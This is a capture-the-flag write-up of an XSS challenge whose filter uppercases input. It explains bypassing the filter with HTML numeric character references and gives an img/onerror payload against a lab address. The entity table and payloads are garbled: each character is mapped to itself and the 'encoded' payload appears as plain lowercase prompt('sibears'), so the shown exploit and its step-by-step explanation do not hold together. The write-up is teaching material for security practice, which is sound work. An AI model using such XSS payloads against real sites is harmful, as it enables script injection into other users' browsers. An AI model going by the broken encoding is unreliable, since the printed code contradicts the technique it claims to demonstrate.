Medium 0 - toUpperCase XSS Bypass
Medium 0 - toUpperCase XSS Bypass
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: html_numeric_character_reference, touppercase_bypass_html_entities
Summary
Walkthrough of the CUSTOM Web Medium 0 - toUpperCase XSS Bypass. XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().
Description
XSS challenge from the sibearsxss series. User input passes through an escape function that converts all characters to uppercase using toUpperCase().
URL: http://109.233.56.90:11659/xss/medium/0
Analysis
Escape function:
js read-only • copy allowedfunction escape(s) { s = s.toUpperCase(); return '<h1>404</h1><h2>Not found</h2>The symbol ' + s + " doesn't exist."; }
Problem: JavaScript is case-sensitive. After toUpperCase() any JS code becomes PROMPT("SIBEARS"), which is not a valid function (the prompt function only exists in lowercase).
Key observation:
- HTML tags and attributes are NOT case-sensitive:
<IMG>=<img>,ONERROR=onerror - HTML numeric character references (&#NNN;) are decoded by the browser AFTER the HTML is parsed
toUpperCase()does not change numeric characters in HTML entities
Solution
Using HTML numeric character references to encode JS code inside the event handler:
| Character | Entity |
|---|---|
| p | p |
| r | r |
| o | o |
| m | m |
| t | t |
| " | " |
| s | s |
| i | i |
| b | b |
| e | e |
| a | a |
| |
Payload:
html read-only • copy allowed<img src=x onerror=prompt("sibears")>
After toUpperCase():
html read-only • copy allowed<IMG SRC=X ONERROR=prompt("sibears")>
What happens:
toUpperCase()converts tags and attributes to uppercase- Numeric HTML entities remain unchanged (digits have no case)
- Browser parses HTML and decodes entities in the
onerrorattribute prompt→prompt"sibears"→"sibears"prompt("sibears")is executed
Key Takeaways / Lessons
- Mastering html_numeric_character_reference, touppercase_bypass_html_entities was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Medium 0 - toUpperCase XSS Bypass • Difficulty: Easy